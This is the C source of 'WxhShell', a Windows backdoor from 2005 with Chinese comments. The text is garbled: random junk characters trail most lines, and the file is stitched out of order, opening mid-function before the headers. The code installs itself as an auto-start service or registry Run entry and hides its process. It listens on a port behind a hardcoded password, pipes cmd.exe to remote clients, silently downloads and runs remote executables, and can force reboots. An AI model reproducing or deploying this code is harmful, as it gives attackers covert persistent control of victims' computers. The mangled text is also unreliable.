    if(Boot(SHUTDOWN)) Z+SRXKQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); / {%%"j  
    else { y =@N|f!  
    closesocket(wsh); +T ?NH9  
    ExitThread(0); 'u658Tj  
    } Om&Dw |xG8  
    break; /Oono6j  
    } Ri'n  
  // 获取shell cQ|NJ_F{1  
  case 's': { XppOU  
    CmdShell(wsh); ZCw]m#lS  
    closesocket(wsh); NK+o1   
    ExitThread(0); { w_e9Wbi  
    break; ooGM$U  
  } Gj*9~*xm(  
  // 退出 %O<BfIZ  
  case 'x': { x-c"%Z|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xno\s.H%]  
    CloseIt(wsh); =1! 'QUc  
    break;  _F{C\}  
    } ~&O%N  
  // 离开 reVgqYp{{-  
  case 'q': { PF2nLb2-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G$PE}%X  
    closesocket(wsh); k)u[0}   
    WSACleanup(); =Qq+4F)MD  
    exit(1); IV-{ve6  
    break; 6@f-Glwg  
        } Vl]>u+YqE  
  } :&Nbw  
  } p_ =z#  
AW .F3hN)  
  // 提示信息 $>gFf}#C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E^PB)D(.  
} i4Jc.8^9$  
  } oU|c.mYe  
8t`?#8D}  
  return; 0x7'^Z>-oe  
} $kgVa^  
e!`i3KYn"  
// shell模块句柄 l6B@qYLZ  
int CmdShell(SOCKET sock) 3 $w65=  
{ t) +310w  
STARTUPINFO si; PH"%kCI:  
ZeroMemory(&si,sizeof(si)); E]6 6]+;0_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <#.g=ay  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tkhCw/  
PROCESS_INFORMATION ProcessInfo; o  K@"f9  
char cmdline[]="cmd"; ToQ"Iy?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q\)F;:|  
  return 0; ,Q,^3*HX9}  
} $(9U@N9E  
h![#;>(  
// 自身启动模式 Bt#N4m[X*|  
int StartFromService(void) ~ 1pr~  
{ Q&&@v4L   
typedef struct xPgBV~  
{ /=h` L ,  
  DWORD ExitStatus; DJir{ \F  
  DWORD PebBaseAddress; tDo"K3   
  DWORD AffinityMask; }Lv;!  
  DWORD BasePriority; . .-hAH  
  ULONG UniqueProcessId; SaCh 7 ^  
  ULONG InheritedFromUniqueProcessId; t Pf40`@  
}   PROCESS_BASIC_INFORMATION; r/sNrB1U"y  
:LTN!jj  
PROCNTQSIP NtQueryInformationProcess; $N\Ja*g  
| 3%8&@ho  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C>~TI,5a3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !c-*O<Y  
P$sxr  
  HANDLE             hProcess; @KA4N`  
  PROCESS_BASIC_INFORMATION pbi; ':}\4j&{E  
Wf<LR3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bfO=;S]b!  
  if(NULL == hInst ) return 0; {U1m.30n  
i&k7-<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L(o15  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @H<q"-J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {^'HL   
Mq8L0%j  
  if (!NtQueryInformationProcess) return 0; ?}7p"3j'z  
-F92-jBM4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 66 Tpi![  
  if(!hProcess) return 0; 7 ?t6UPf  
^J d r>@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fX)# =c|5  
Wvqhl 'J  
  CloseHandle(hProcess); Hef g[$m  
LF7SS;&~f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b[7 ]F  
if(hProcess==NULL) return 0; hEk$d.!}  
ZN6Z~SL_i~  
HMODULE hMod; };g"GNy  
char procName[255]; iI>A *,{,`  
unsigned long cbNeeded; FN; ^"H  
{e5= &A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ??T#QQ  
ETLD$=iS  
  CloseHandle(hProcess); o Rzi>rr  
c|1&lYal;  
if(strstr(procName,"services")) return 1; // 以服务启动 |)81Lz  
i?~3*#IpD  
  return 0; // 注册表启动 !Uc T RI  
} d7i]FV  
X7 w Ky(g  
// 主模块 O~QB!<Q+  
int StartWxhshell(LPSTR lpCmdLine) `XB 9Mi=  
{ g1o8._f.  
  SOCKET wsl; 3,=6@U  
BOOL val=TRUE; fX+O[j  
  int port=0; 5Ph4<f` L~  
  struct sockaddr_in door; N [yy M'C  
&=Wlaa/,&  
  if(wscfg.ws_autoins) Install(); KdlQ!5(?X  
LDD|(KLR*.  
port=atoi(lpCmdLine); j5ve2LiFV%  
EIQ p>|5  
if(port<=0) port=wscfg.ws_port; -(#iIgmP  
Q&V;(L62!  
  WSADATA data; gdoLyxQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9K&:V(gmw  
h} EPnC}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rbCAnwA2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7yba04D)  
  door.sin_family = AF_INET; Lxk[;j+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rD>f|kA?L  
  door.sin_port = htons(port); B]$GSEB  
<|\Lm20 G]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BSMwdr  
closesocket(wsl); V_:&S2j  
return 1; :hV7> rr  
} S@Hf &hJ  
|W\(kb+  
  if(listen(wsl,2) == INVALID_SOCKET) { `#gie$B{  
closesocket(wsl); <o= 8 FO  
return 1; veRm2 LSP  
} h-D }'R  
  Wxhshell(wsl); +U.I( 83F  
  WSACleanup(); 7!$^r$t   
5^KWCS7@  
return 0; BCcjK6'  
7`YEH2  
} Y#3c }qb  
VYhbx 'e  
// 以NT服务方式启动 |a%Tp3Q~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2dzrRH  
{ Z: 7fV5b(  
DWORD   status = 0; ,=mS,r7  
  DWORD   specificError = 0xfffffff; XGMiW0j0B  
FkRo _?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y|q3Wa  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GDy9qUV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  JSg$wi8  
  serviceStatus.dwWin32ExitCode     = 0; 2wgg7[tGi  
  serviceStatus.dwServiceSpecificExitCode = 0; Zsh9>]M L  
  serviceStatus.dwCheckPoint       = 0;  0{ [,E.  
  serviceStatus.dwWaitHint       = 0; -B\HI*u  
$D UZ!zaH!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z*2Vpnqh\  
  if (hServiceStatusHandle==0) return; ~| 6[j<ziL  
F.v{-8GV  
status = GetLastError(); T${Q.zHY[!  
  if (status!=NO_ERROR) O<;3M'y\  
{ tlt*fH$ .  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CWP2{  
    serviceStatus.dwCheckPoint       = 0; bNoW?8bZ  
    serviceStatus.dwWaitHint       = 0; -\n@%$M]G  
    serviceStatus.dwWin32ExitCode     = status; .@Dxp]/B}  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8Dm%@*B^b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U~l$\ c  
    return; SN!?}<|U  
  } AjgF6[B  
(DP &B%Sf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6qd\)q6T&x  
  serviceStatus.dwCheckPoint       = 0; 78%~N`x7  
  serviceStatus.dwWaitHint       = 0; 1|6%evPu(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Clb@$,  
} }k G9!sf  
A7hVHxNJ-  
// 处理NT服务事件,比如:启动、停止  y%b F&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q,U+qt  
{ |WdPE@P  
switch(fdwControl) H_<C!OgR  
{ Bv%GJ*>>  
case SERVICE_CONTROL_STOP: }:*]aL<7_  
  serviceStatus.dwWin32ExitCode = 0; ,tJ" 5O3-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1,!(0 5H  
  serviceStatus.dwCheckPoint   = 0; fCobzDy  
  serviceStatus.dwWaitHint     = 0; 3% ;a)c;D  
  { %zw1}|s#z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TSWM |#u':  
  } PO 7Lf#9]  
  return; +|89>}w4  
case SERVICE_CONTROL_PAUSE: #7YY<) xt}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r[Hc>wBv  
  break; 5K?IDt7A]  
case SERVICE_CONTROL_CONTINUE: &wE%<"aRAl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #!KE\OI;@5  
  break; BV upDGh3  
case SERVICE_CONTROL_INTERROGATE: -kwXvYu\  
  break; YLE!m?  
}; !|S43i&p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I \JGs@I   
} O[)kboY  
`LE6jp3,  
// 标准应用程序主函数 |CZ@te)>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y@ksQ_u  
{ iBgx  
ouFYvtFg  
// 获取操作系统版本 Z>Wg*sZy)  
OsIsNt=GetOsVer(); * 8_wYYH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,+{LYF  
Pjjewy1}^  
  // 从命令行安装 i,4>0o?  
  if(strpbrk(lpCmdLine,"iI")) Install(); lun\`f 5Q  
M={V|H0  
  // 下载执行文件 >P @H#=  
if(wscfg.ws_downexe) { \EtQ5T*u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a^zibPG  
  WinExec(wscfg.ws_filenam,SW_HIDE); c%G{#}^2  
} /M4{Wc  
T iiWp!mX  
if(!OsIsNt) { H>B&|BO_[  
// 如果时win9x,隐藏进程并且设置为注册表启动 {U m)15K  
HideProc(); wlk4*4dKn  
StartWxhshell(lpCmdLine); L(-b@Joh  
} _JE"{ ;  
else b@f$nS B  
  if(StartFromService()) '*w00  
  // 以服务方式启动 CtAwBQO  
  StartServiceCtrlDispatcher(DispatchTable); u5 : q$P  
else /qGf 1MHD  
  // 普通方式启动 \2"I;  
  StartWxhshell(lpCmdLine); JYd 'Jp8bP  
6ne7]R Y  
return 0; X_|J@5b7  
} +M$Q =6/  
;n=.>s*XL'  
HxK80mJ  
` a/%W4  
=========================================== t@N=kV  
@u]rWVy;\[  
-w_QJ_z_  
Xudg2t)+K  
_p&]|~a  
1Z~)RJ<D  
" ~r`9+b[9{  
iS Gq!D  
#include <stdio.h> SB|Qa}62  
#include <string.h> '~&X wZ&  
#include <windows.h> DSk/q-'u  
#include <winsock2.h> F,dx2ZPIs?  
#include <winsvc.h> 5^lxj~ F  
#include <urlmon.h> V7P&%oz{C  
au=o6WRa  
#pragma comment (lib, "Ws2_32.lib") Hx*;jpy(2  
#pragma comment (lib, "urlmon.lib") tEKmy7'#  
G) 7;;  
#define MAX_USER   100 // 最大客户端连接数 TbGn46!:  
#define BUF_SOCK   200 // sock buffer Dg?70v <a  
#define KEY_BUFF   255 // 输入 buffer JB`\G=PiL  
Q/_f zg  
#define REBOOT     0   // 重启 `-l6S  
#define SHUTDOWN   1   // 关机 x+x40!+\  
HO%wHiv1X  
#define DEF_PORT   5000 // 监听端口 \cUNsB5  
 4/1d&Sg  
#define REG_LEN     16   // 注册表键长度 WP+oFkw>  
#define SVC_LEN     80   // NT服务名长度 f Tl<p&b  
D+z?wuXk  
// 从dll定义API qA$*YIlK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cmg ^J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %$ Z7x\_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Hp|_6hO 2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s6zNV4  
`_{`l4i 5  
// wxhshell配置信息 J}+6UlD  
struct WSCFG { "a1n_>#Fb  
  int ws_port;         // 监听端口 6&l+0dq  
  char ws_passstr[REG_LEN]; // 口令 rIh l.5Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no i2(1ki/|O  
  char ws_regname[REG_LEN]; // 注册表键名 s,n0jix@  
  char ws_svcname[REG_LEN]; // 服务名 W"'iIh)z `  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !l 1fIc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F\k+[`%{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hn=[1<#^(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5v}8org  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Vq;A>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?yR&/a  
&n?^$LTPY  
}; 9 ;Ox;;w  
:Q_<Z@2Y{  
// default Wxhshell configuration ^(h+URFpA  
struct WSCFG wscfg={DEF_PORT, I*kK 82  
    "xuhuanlingzhe", %r6y ;vAf  
    1, xA$nsZ]  
    "Wxhshell", l0cA6b  
    "Wxhshell", ~-m"   
            "WxhShell Service", \z7SkZt,GT  
    "Wrsky Windows CmdShell Service", rT5Ycm@  
    "Please Input Your Password: ", 9Z'8!$LYg  
  1, q51Uf_\/  
  "http://www.wrsky.com/wxhshell.exe", p)3U7"q  
  "Wxhshell.exe" @u%_1  
    }; EC8b=B<DE  
.dQQoyR+O  
// 消息定义模块 +H #U~p$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F>[,zN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;Uu(zhbj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ),!;| bh  
char *msg_ws_ext="\n\rExit."; F[[TWf/  
char *msg_ws_end="\n\rQuit."; 5~WGZc  
char *msg_ws_boot="\n\rReboot..."; I{ :(z3  
char *msg_ws_poff="\n\rShutdown..."; .j>hI="b  
char *msg_ws_down="\n\rSave to "; D{d>5P?W  
HnCzbt@  
char *msg_ws_err="\n\rErr!"; m"jV}@agX  
char *msg_ws_ok="\n\rOK!"; i?e`:}T  
$Gv9m  
char ExeFile[MAX_PATH]; /BV03B  
int nUser = 0; c#]q^L\x  
HANDLE handles[MAX_USER]; <_Q:'cx'  
int OsIsNt; hq/k*;  
$g+[yb7@  
SERVICE_STATUS       serviceStatus; 5N*Ux4M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7=OQ8IM !  
Nn"+w|v[ev  
// 函数声明 u(t#Ze~Y1  
int Install(void); ~\3kx]^10  
int Uninstall(void); L^4-5`gj  
int DownloadFile(char *sURL, SOCKET wsh); $N=N(^  
int Boot(int flag); ;cz|ss=  
void HideProc(void); [[Y0  
int GetOsVer(void); JPWOPB'H  
int Wxhshell(SOCKET wsl); w MP  
void TalkWithClient(void *cs); ' dx1x6  
int CmdShell(SOCKET sock); Bv. `R0e&  
int StartFromService(void); [.*;6y3  
int StartWxhshell(LPSTR lpCmdLine); vp crPVA^  
A7`1-#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S^<g_ q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L%c0Z@[~  
}~h(w^t  
// 数据结构和表定义 'fNKlPMv4D  
SERVICE_TABLE_ENTRY DispatchTable[] = <rL/B k  
{ lF?tQB/a  
{wscfg.ws_svcname, NTServiceMain}, P#/HTu5q7  
{NULL, NULL} h=_0+\%  
}; v\"S Gc  
Io|Aj  
// 自我安装 0{PzUIM,W  
int Install(void) n[,w f9  
{ t2iv(swTe  
  char svExeFile[MAX_PATH]; ~~,rp) )  
  HKEY key; yxq}QSb \3  
  strcpy(svExeFile,ExeFile); ZzBQe  
STw#lU) %(  
// 如果是win9x系统,修改注册表设为自启动 (q7 Ry4-  
if(!OsIsNt) { \7 NpT}dj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~/ilx#d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  g}U3y'  
  RegCloseKey(key); Q\,o :ZU_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TbF4/T1b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |xvy')(b  
  RegCloseKey(key); 0% #<c p  
  return 0; ? j 9|5*  
    } ~w;]c_{.b  
  } *d',Vuv&[  
} d'Axum@  
else { u}|%@=xn  
.ol'.t ,S  
// 如果是NT以上系统,安装为系统服务 T!}[yW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UD y(v]  
if (schSCManager!=0) AVU>+[.=%c  
{ cFF*Z=L _  
  SC_HANDLE schService = CreateService 79yd&5#e?  
  ( 5+jf/}t A  
  schSCManager, [ dE.[  
  wscfg.ws_svcname, *cg( ?yg  
  wscfg.ws_svcdisp, S"hTE7`   
  SERVICE_ALL_ACCESS, S$^ RbI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GzTq5uU&  
  SERVICE_AUTO_START, Iu35#j  
  SERVICE_ERROR_NORMAL, E|$Oha[  
  svExeFile, )CS.F=  
  NULL, `K >?ju"  
  NULL, b]JI@=s?  
  NULL, J!*/a'Cv  
  NULL, 'XUKN/.  
  NULL 7RvUH-S[  
  ); e%>b+ Sv  
  if (schService!=0) A[YpcG'9  
  { l@hjP1o  
  CloseServiceHandle(schService); mG1 IQ!  
  CloseServiceHandle(schSCManager); _ZAchzV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;|cTHGxbE  
  strcat(svExeFile,wscfg.ws_svcname); rBN)a"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G^1b>K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vkRi5!bR  
  RegCloseKey(key); :p4"IeKs  
  return 0; j9/-"dTL  
    } 1lnU77;  
  } lRP1&FH0  
  CloseServiceHandle(schSCManager); B,(Heg  
} 0J8K9rP;z  
} x4#T G  
T=YzJyQC)  
return 1; **[Z^$)u(  
} X{-9FDW  
^R$'eG 4L?  
// 自我卸载 fXQiNm[P  
int Uninstall(void) ;*[9Q'lI*  
{ 1SV^){5I  
  HKEY key; a/uo}[Y  
ag4`n:1  
if(!OsIsNt) { rB%$;<`/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { da$BUAqU  
  RegDeleteValue(key,wscfg.ws_regname); ^SfS~G Q  
  RegCloseKey(key); +tN &a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S2VVv$r_6  
  RegDeleteValue(key,wscfg.ws_regname); Q^Bt1C  
  RegCloseKey(key); '~wpP=<yyF  
  return 0; :Ld!mRZF  
  } VZIR4J[\.  
} www`=)A;  
} GW2')}g  
else { 1[;@AE2Y  
mEuHl>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s2v(=  
if (schSCManager!=0) yO>V/5`  
{ 2PSTGG8JV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7> Pgc  
  if (schService!=0) K$REZe  
  { )DUL)S  
  if(DeleteService(schService)!=0) { y/@iT8$rp  
  CloseServiceHandle(schService); %E27.$E_  
  CloseServiceHandle(schSCManager); ~-F?Mc  
  return 0; 6b Z[Kt  
  } #rYENR[  
  CloseServiceHandle(schService); | H ;+1  
  } 7XyOB+aQO  
  CloseServiceHandle(schSCManager); lg1PE7  
} Jll-X\O`-  
} Cj;/Uhs  
r FL$QC2  
return 1; 396R$\q  
} .%0ne:5  
Z]:BYX'  
// 从指定url下载文件 YJ2ro-X  
int DownloadFile(char *sURL, SOCKET wsh) []&(D_e"  
{ 9F+P@Kp  
  HRESULT hr; YbMssd2Yg  
char seps[]= "/"; J%dJw}  
char *token; Vul+]h[!h  
char *file; q3'o|pp  
char myURL[MAX_PATH]; 0d\~"4 R  
char myFILE[MAX_PATH]; f3 ]  
=`I?mn&  
strcpy(myURL,sURL); 3,.% s  
  token=strtok(myURL,seps); -0,4eg j3  
  while(token!=NULL) Dr"/3xm  
  { mPVE?jnR^0  
    file=token; Ws49ImCB  
  token=strtok(NULL,seps); wy4q[$.4v  
  } zb2K;%Qs+f  
'0+$ m=   
GetCurrentDirectory(MAX_PATH,myFILE); \-. Tg!Q6  
strcat(myFILE, "\\"); ?(im+2  
strcat(myFILE, file); amB@N6*  
  send(wsh,myFILE,strlen(myFILE),0); KC&`x |  
send(wsh,"...",3,0); <Ns &b.\h6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >v0:qN7|  
  if(hr==S_OK) Uk-HP\C"7  
return 0; BGjb`U#%3  
else X_70]^XL  
return 1; mPmB6q%)]  
R.7#zhC`4  
} h}=M^SL  
\OHv|8!EI@  
// 系统电源模块 Z|`fHO3j  
int Boot(int flag) YlUpASW  
{ S]yvMj_?  
  HANDLE hToken; XS0V:<+,  
  TOKEN_PRIVILEGES tkp; {~GR8 U  
GF R!n1Hv  
  if(OsIsNt) { u;n(+8sz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qiNliJ>40E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \mXqak,y  
    tkp.PrivilegeCount = 1; K ~>jApZ%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~5t?C<wo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xtJAMo>g  
if(flag==REBOOT) { 7>x;B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Sa}D.SBg  
  return 0; bc}dYK3$q  
} \X@IkL$r  
else { 56s*A*z$ ;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v>WB FvyD  
  return 0; YIDg'a+z  
} Z! YpklZ?~  
  } 4 10:%WGc  
  else { 5a$$95oL  
if(flag==REBOOT) { PqhlXqX9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VBx,iuaw  
  return 0; s-Y+x  
} A! ;meVUs  
else { {Nq?#%vdT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) glor+  
  return 0; >RR<eYu7m  
} #S i|!  
} qWB%),`j>  
YY!!<2_  
return 1; ~.Q4c*_b  
} =QiT)9q)  
l @A"U)A(  
// win9x进程隐藏模块 nO@+s F  
void HideProc(void) z^~U]S3  
{ ALR:MAXwC  
.!j#3J..u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j_pw^I$C  
  if ( hKernel != NULL ) &HxT41pku  
  { WLy7'3@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B,0+HoP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .cw=*<zeg  
    FreeLibrary(hKernel); >q&L/N5  
  } fm6]CU1^  
l\U*sro<  
return; $SF3odpt  
} Th+|*=Il  
hgj0tIi/  
// 获取操作系统版本 k6g|7^es2  
int GetOsVer(void) 4(iS-8{J  
{ 7z>+w  
  OSVERSIONINFO winfo; 2B'^`>+8S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *dVD  
  GetVersionEx(&winfo); F`D 9Zfd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #wD7 \X-f  
  return 1; di<B~:l58  
  else sWW\bK0B4  
  return 0; y7; 5xF?q  
} Heohe|an  
TA9dkYlE/  
// 客户端句柄模块 Hf.xd.Yw  
int Wxhshell(SOCKET wsl) 7 FIFSt  
{ ,^!Zm^4,  
  SOCKET wsh; />!!ch  
  struct sockaddr_in client; 9rWLE6 `  
  DWORD myID; Znq(R8BMW  
)x9]xqoR  
  while(nUser<MAX_USER) iDR6?fP  
{ > ";%2 u1  
  int nSize=sizeof(client); "DzG Bu\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &}|0CR.(  
  if(wsh==INVALID_SOCKET) return 1; ^~*8 @v""  
H>Sf[8w)%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6DO0zNTY  
if(handles[nUser]==0) }9 FD/  
  closesocket(wsh); o5V`'[c  
else g` kZ T} h  
  nUser++; K5+!(5V~  
  } %)dI2 J^Xf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (mY(\mu}  
-|$*l Q  
  return 0; e Ri!\Fx  
} _AAx )  
3v G  
// 关闭 socket 5A;"jp^ Z  
void CloseIt(SOCKET wsh) K9LEIby  
{ PgqECd)f  
closesocket(wsh); cnC_#kp  
nUser--; {!g?d<*  
ExitThread(0); Xv]*;Bq:SK  
} hX %s]"  
+%x^RV}  
// 客户端请求句柄 4KZSL: A  
void TalkWithClient(void *cs) >5df@_'  
{ w4`!Te  
`GP3 D~  
  SOCKET wsh=(SOCKET)cs; 7ia "u+Y  
  char pwd[SVC_LEN]; S{Rh'x\B  
  char cmd[KEY_BUFF]; H.)fO ctbO  
char chr[1]; IS .g);Gj  
int i,j; U=M#41J  
2kC^7ZAwu  
  while (nUser < MAX_USER) { [gTQ-  
V~JBZ}`TG<  
if(wscfg.ws_passstr) { *(>Jd|C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '>"`)-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }[ 7Nb90v  
  //ZeroMemory(pwd,KEY_BUFF); dV$3u"9  
      i=0; "C?:T'dW  
  while(i<SVC_LEN) { rkbl/py  
G) jG!`I  
  // 设置超时 [6oq##  
  fd_set FdRead; IBzHR[#,^  
  struct timeval TimeOut; -fhAtxkg  
  FD_ZERO(&FdRead); jDFp31_X  
  FD_SET(wsh,&FdRead); J,6!7a  
  TimeOut.tv_sec=8; ZyZl\\8U  
  TimeOut.tv_usec=0;  KhLg*EL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Mi_[9ku>%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S|s3}]g9  
jw%fN!?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5ZZd.9ZgM  
  pwd=chr[0]; l85O-g}M  
  if(chr[0]==0xd || chr[0]==0xa) { sn2r >m3  
  pwd=0; yo'q[YtP'  
  break; gt#MeU  
  } Cq TH!'N  
  i++; D[+|^,^>  
    } |>M-+@g j  
UU*0dSWr  
  // 如果是非法用户,关闭 socket tbL1g{Dz,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ks)fQFSbu  
} LqMe'z  
7 _X&5ni  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #tCIuQ,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e OO!jrT:  
C+}CU}  
while(1) { zUvB0\{q  
Bb$S^F(Xq  
  ZeroMemory(cmd,KEY_BUFF); Rv0-vH.n  
;:-}z.7Y  
      // 自动支持客户端 telnet标准   ?S+/QyjcfJ  
  j=0; -Mit$mFn  
  while(j<KEY_BUFF) { r[Zg 2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {\ A_%  
  cmd[j]=chr[0]; Iwnj'R7:  
  if(chr[0]==0xa || chr[0]==0xd) { `#-p,NElV  
  cmd[j]=0; -Pv P  
  break; g-4gI\  
  } 4;B= Qoxe  
  j++; P?-d[zLA  
    } TG""eC!E  
F Bd+=bx,Z  
  // 下载文件 FjK Ke7  
  if(strstr(cmd,"http://")) { *Cc$eR]-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O e0KAn  
  if(DownloadFile(cmd,wsh)) OJh+[bf"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w@<<zItSo  
  else {"qW~S90YO  
